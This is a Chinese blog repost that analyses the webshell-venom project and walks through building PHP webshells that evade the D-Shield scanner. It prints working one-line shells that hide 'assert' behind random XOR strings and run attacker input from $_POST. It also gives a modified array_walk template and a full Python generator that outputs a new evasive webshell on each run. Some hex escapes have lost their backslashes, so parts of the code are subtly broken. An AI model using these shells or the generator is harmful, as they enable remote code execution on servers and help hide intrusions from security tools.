首页 » SEO优化 » phprandomkeys技巧_随机异或无限免杀D盾之再免杀

phprandomkeys技巧_随机异或无限免杀D盾之再免杀

访客 2024-11-21 0

扫一扫用手机浏览

文章目录 [+]

项目剖析

随机异或无限免杀D盾项目剖析

phprandomkeys技巧_随机异或无限免杀D盾之再免杀

首先剖析随机异或无限免杀D盾的github项目:https://github.com/yzddmr6/webshell-venom

phprandomkeys技巧_随机异或无限免杀D盾之再免杀
(图片来自网络侵删)

1,首先剖析其天生的木马样例:(当前已经不免杀)

<?phpclass PXGF{ function __destruct(){ $RAFH='slvfo'^"x12x1fx5x3x58x1b"; return @$RAFH("$this->WSXP"); }}$pxgf=new PXGF();@$pxgf->WSXP=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>

此木马中$RAFH的值是由两串'slvfo'^"x12x1fx5x3x58x1b";字符异或得到的,此异或结果为assert。
即$RAFH=assert,个中return @$RAFH("$this->WSXP");即为:$pxgf->WSXP是即是$this->WSXP,给$pxgf->WSXP如下赋值时,也便是给$this->WSXP如下赋值。
即结果为:

return $RAFH("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");

而RAFH又即是assert,即末了结果为:即一句话木马

return assert("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");

这个利用随机异或无限免杀D盾的核心实在便是这个点了,至于异或个人认为也是很奥妙的,下面剖析其利用随机异或天生payload的代码:

其天生的shellcode的模型如下:(当前免杀失落效的紧张缘故原由个人认为还是此模型被杀了)

shell_form ='''<?phpclass {class_name}{{ function __destruct(){{ ${var_name1}={func1}; return @${var_name1}("$this->{var_name2}"); }}}}${objname}=new {class_name}();@${objname}->{var_name2}=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>'''

实在参考我对上述对木马样例剖析,就很随意马虎理解这个木马模型了,{class_name}、{var_name1}、{var_name2}、{objname}都是利用python代码随机天生的名称,随便写即可。
下面须要解释的是{func1}值的天生。
实在利用yzddmr6表哥的python天生的所有的不同点都在这{class_name}、{var_name1}、{var_name2}、{objname}、{func1}五个点,除了上述阐明的模型是核心之外,便是这个{func1}了。

{func1}的天生过程如下:

首先查看gen_webshell()函数,即webshell天生函数:

def gen_webshell(): class_name = random_name(4) objname = class_name.lower() webshell=shell_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1)) print(webshell)

我们可以很清楚的看到倒数第二行中有func1=gen_payload(func1)即func1是由gen_payload函数天生的,查看了整体代码得知个中gen_payload函数中的参数func1的值为assert,我连续查看gen_payload函数如下:

def gen_payload(func): func_line1 = '' func_line2 = '' key = random_keys(len(func)) for i in range(0,len(func)): enc = xor(func[i],key[i]) func_line1 += key[i] func_line2 += enc payload = ''{0}'^"{1}"'.format(func_line1,func_line2) return payload

这个函数中又包含了两个小函数random_keys()和xor(),那么我就先剖析这两个小函数吧:

random_keys函数:

def random_keys(len): str = '`~-=!@#$%^&_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' return ''.join(random.sample(str,len))

randomkey函数是天生一个长度为len的随机字符串,字符串中的字符都取自str变量中,即取自“~-=!@#$%^&/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`

xor函数:

def xor(c1,c2): return hex(ord(c1)^ord(c2)).replace('0x',r"x")

将字符c1和字符c2转换成ascii码后进行异或运算,再利用hex函数转换为十六进制,同时个中将0x转换成x

好了,下面连续剖析gen_payload函数:func是传入gen_payload(func)函数的参数,此处该当是assert,即一个命令实行的函数。
然后打算出assert的长度,然后利用random_keys函数从字符串str中随机取出5个字符:赋值给key

key = random_keys(len(func))

利用for循环分别将func和key字符串中的字符逐一取出,分别进行异或运算后,然后连接成了func_line2字符串,而将key字符串赋值给了func_line1字符串。

for i in range(0,len(func)): enc = xor(func[i],key[i]) func_line1 += key[i] func_line2 += enc

末了就得到了payload:即字符串func_line2和字符串func_line1异或。
而func_line2和字符串func_line1异或的结果该当是即是func的。
缘故原由如下:假设a^b=c,那么a=c^b,即异或是可逆的。
此循环将func和key异或的值存放到了func_line2中,将key赋值给了func_line,即此处key=func_line1。
终极结果等价于func^func_line1=func_line2,而return的结果是func_line2^func_line1,即末了return的几个依旧是func,即一个命令实行函数assert。
只是为了避开d盾的查杀换了一种办法。

payload = ''{0}'^"{1}"'.format(func_line1,func_line2)

到这里就剖析完成了,即shellcode的模型中的{func1}的值是利用随机异或天生函数gen_payload天生的,例如:

'rG!q-X'^"x13x34x52x14x5fx2c"

上诉字符串看似缭乱,但是其异或的结果依旧是assert。

综上所述:随机异或无限免杀D盾项目的核心点有两个:

1,此木马天生模板本身具备免杀性

2,利用随机异或隐蔽了assert,eval等D盾敏感的命令实行函数。

免杀马再免杀

根据上述特点我们也可以通过这两点思路来布局免杀马:

1,使得木马模板具备免杀性

2,隐蔽assert,eval等D盾敏感的关键字

我就随便选择一种:利用回调函数布局的免杀马:

例如随便选择一个回调函数array_walk()即可布局如下木马:

<?phpfunction v01cano($aaa, $bbb){ $ccc=$bbb; array_walk($aaa, $ccc);}$ddd = 'rG!q-X'^"x13x34x52x14x5fx2c";v01cano(array($_POST['e']), $ddd);?>

D盾报出了可能是木马级别是二级,缘故原由是识别了array_walk函数。

接下来我们在array_walk前面加上命名空间即可轻松绕过D盾:

<?phpfunction v01cano($aaa, $bbb){ $ccc=$bbb; array_walk($aaa, $ccc);}$ddd = 'rG!q-X'^"x13x34x52x14x5fx2c";v01cano(array($_POST['e']), $ddd);?>

那么接下来就可以参考yzddmr6表哥的方法利用我们新的免杀马模板来随机异或无限免杀D盾,只需修正yzddmr6表哥的免杀马模板部分即可。

即参考如上免杀马,修正模板为如下:

<?phpfunction {func_name}(${var_name1}, ${var_name2}){{ ${var_name3}=${var_name2}; \array_walk(${var_name1}, ${var_name3});}}${var_name4} = {func1};{func_name}(array($_POST['e']), ${var_name4});?>

终极代码如下:

import random# 命令实行函数func1 = 'assert'# 每次天生一个不同的变量(函数)名,长度为lendef random_name(len): str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' return ''.join(random.sample(str,len))# 每次返回一个len长度的字符串(里面包含分外字符,用于异或免杀)def random_keys(len): str = '`~-=!@#$%^&_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' a = random.sample(str, len) return ''.join(a)# 将字符c1和字符c2进行异或运算,同时将0x转换成xdef xor(c1,c2): c = hex(ord(c1)^ord(c2)) return c.replace('0x',r"x")# payload天生函数def gen_payload(func): func_line1 = '' func_line2 = '' key = random_keys(len(func)) for i in range(0,len(func)): enc = xor(func[i],key[i]) func_line1 += key[i] func_line2 += enc payload = ''{0}'^"{1}"'.format(func_line1,func_line2) return payloadshell_form='''<?phpfunction {func_name}(${var_name1}, ${var_name2}){{ ${var_name3}=${var_name2}; \array_walk(${var_name1}, ${var_name3});}}${var_name4} = {func1};{func_name}(array($_POST['e']), ${var_name4});?>'''def gen_webshell(): webshell=shell_form.format(func_name=random_name(4), var_name1=random_name(4), var_name2=random_name(4), var_name3=random_name(4), var_name4=random_name(4), func1=gen_payload(func1)) print(webshell)gen_webshell()

于是我们也就可以再次实现随机异或无限免杀D盾。

末了运行上诉python代码即可随机天生免杀马:

这样就又达到了免杀的效果。

实在个人认为此项目的核心便是我上诉所说的两点:

1,此木马天生模板本身具备免杀性

2,利用随机异或隐蔽了assert,eval等D盾敏感的命令实行函数。

模板免杀该当是重中之重,各位表哥们也可以根据自己的须要大略修正即可。

关于免杀马的布局方法太多了,我就直接附上404表哥文章给大家参考:

https://xz.aliyun.com/t/5152

然后便是yzddmr6表哥的项目地址:思路很骚。

https://github.com/yzddmr6/webshell-venom

原文链接:https://www.anquanke.com/post/id/193042

标签:

相关文章

今日头条算法岗三面算法工程师的面试之路

大数据和人工智能技术逐渐成为各行各业的热门话题。今日头条作为中国领先的资讯平台,其算法岗位一直是求职者争相竞逐的焦点。本文将针对今...

SEO优化 2025-01-31 阅读1 评论0

今日头条算法如何打造个化内容推荐

在移动互联网时代,信息爆炸已成为常态。如何在海量信息中找到自己感兴趣的内容,成为了一个亟待解决的问题。今日头条作为一款备受瞩目的新...

SEO优化 2025-01-31 阅读1 评论0

今日头条算法推荐其弊端与反思

算法推荐已经成为各大平台的核心竞争力。今日头条作为国内领先的资讯平台,凭借其强大的算法推荐系统,吸引了大量用户。在享受算法带来的便...

SEO优化 2025-01-31 阅读1 评论0

今日头条算法思维导图信息推荐的奥秘

信息传播速度越来越快,用户对信息的需求也越来越多样化。今日头条作为一款备受关注的新闻资讯平台,其背后的算法推荐机制一直是业界关注的...

SEO优化 2025-01-31 阅读1 评论0